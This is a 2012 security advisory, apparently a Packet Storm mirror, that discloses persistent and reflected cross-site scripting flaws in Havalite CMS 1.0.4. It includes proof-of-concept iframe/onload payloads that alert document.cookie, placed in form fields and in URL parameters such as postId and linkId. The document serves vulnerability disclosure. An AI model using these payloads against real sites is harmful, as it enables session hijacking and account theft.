exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Havalite CMS 1.0.4 Cross Site Scripting

Havalite CMS 1.0.4 Cross Site Scripting
Posted Apr 23, 2012
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

Havalite CMS version 1.0.4 suffers from persistent and reflective cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 322f88d3c41d308f4807b8706507315c8cd49fb01199b1f3dab44952ac956f55

Havalite CMS 1.0.4 Cross Site Scripting

Change Mirror Download
Title:
======
Havalite CMS v1.0.4 - Multiple Web Vulnerabilities


Date:
=====
2012-04-23


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=520


VL-ID:
=====
520


Introduction:
=============
Havalite, a lightweight, open source CMS, based on php and SQLite. It\\\\\\\'s licensed under the GNU General Public License.

- A Mobile Detector to switch in Mobile mode
- Simple 1 step wizard installation
- Text, Images and swf files all saved as data in Sqlite Database
- Two different image sizes: Original and Thumnail
- Backup for the whole system including images in only one Sqlite file. SqLite3 and above allows storing Blobs and a better Utf-8 performance
- Export database to any Server without changing a single line or database structure.
- A lite weight and clear interface
- Many Interface languages done on the fly with our language Creator Tool
- FCKEditor a great WYSIWYG Text-Editor
- integration of third-party Plugins, specially jQuery, with the ability of plugin configuration
- plenty of useful functions for Theme creation + Theme Preview, and Plugins Creation
- RSS Feeds for Posts, Categories and Comments

(Copy of the Vendor Homepage: http://havalite.com )



Abstract:
=========
The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities in Havalite CMS v1.0.4.


Report-Timeline:
================
2012-04-23: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected in Havalite v1.0.4 Content Management System.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action because the admin needs to watch the user list.
The user includes his scriptcode as profile name and the code is getting executed on the administrator section
persistent.


Vulnerable Module(s):
[+] findReplace - Input/Output Listing
[+] Username Profile Input & Username Login or Input Message Miscellaneous [postAuthor]

Picture(s):
../1.png
../2.png


1.2
Multiple non persistent cross site scripting vulnerabilities are detected in Havalite v1.0.4 Content Management System.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with high required
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing
& client-side content request manipulation.


Vulnerable Module(s):
[+] postID
[+] userID
[+] linkID

Picture(s):
../3.png
../4.png


Proof of Concept:
=================
1.1
The persistent input validation vulnerabilities can be exploited by remote attacker with low or medium required
user inter action. For demonstration or reproduce ...

Review: findReplace - Replace

<td id="catSplitter" valign="top" width="350"><form id="form1" name="form1" method="post" action="">
Find:
<input name="find" id="find" style="width: 100%;" type="text">
<iframe src="findReplace.php-Dateien/a.htm" onload="alert(document.cookie)" <"="">
Replace:
<input name="replace" type="text" id="replace" style="width:100%;"
value=""><iframe src=a onload=alert(document.cookie) <" />
<span style="display:block; text-align:right; padding:10px 0;">
<label><input name="findOpt" type="radio" value="find"
checked="checked" />
Find only</label>
<label><input name="findOpt" type="radio" value="replace"
/>Find and Replace</label>
</span>
<span style="display:block; text-align:right; padding:10px 0;">
<input type="submit" name="Submit" value=" Replace in all posts
>
</span>
</form>

URL: http://127.0.0.1:8080/havalite/findReplace.php


Review: Login Username Form & Edit Article Module

<tr>
<td id="log_text">Username</td>
<td><input name="username" id="username" type="text">
<iframe src="hava_login.php-Dateien/a.htm" onload='alert("Vulnerabilitylab")' <"="" autofocus="autofocus"></td>

URL: http://127.0.0.1:8080/havalite/hava_login.php

... or via miscellaneous module postAuthor

<input name="postAuthor" type="text" id="postAuthor" value="admin">
Date: <input name="postDate" type="text" id="postDate" value="11-10-14 15:42:40" />

URL: http://127.0.0.1:8080/havalite/hava_post.php?postId=1


1.2
The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required
user inter action. For demonstration or reproduce ...

PoC:
http://127.0.0.1:8080/havalite/hava_post.php?postId=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
http://127.0.0.1:8080/havalite/hava_user.php?userId=>"<iframe src=http://www.vulnerability-lab.com>
http://127.0.0.1:8080/havalite/hava_link.php?linkId=1%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C


Risk:
=====
1.1
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

1.2
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (Rem0ve)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012 Vulnerability-Lab




--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close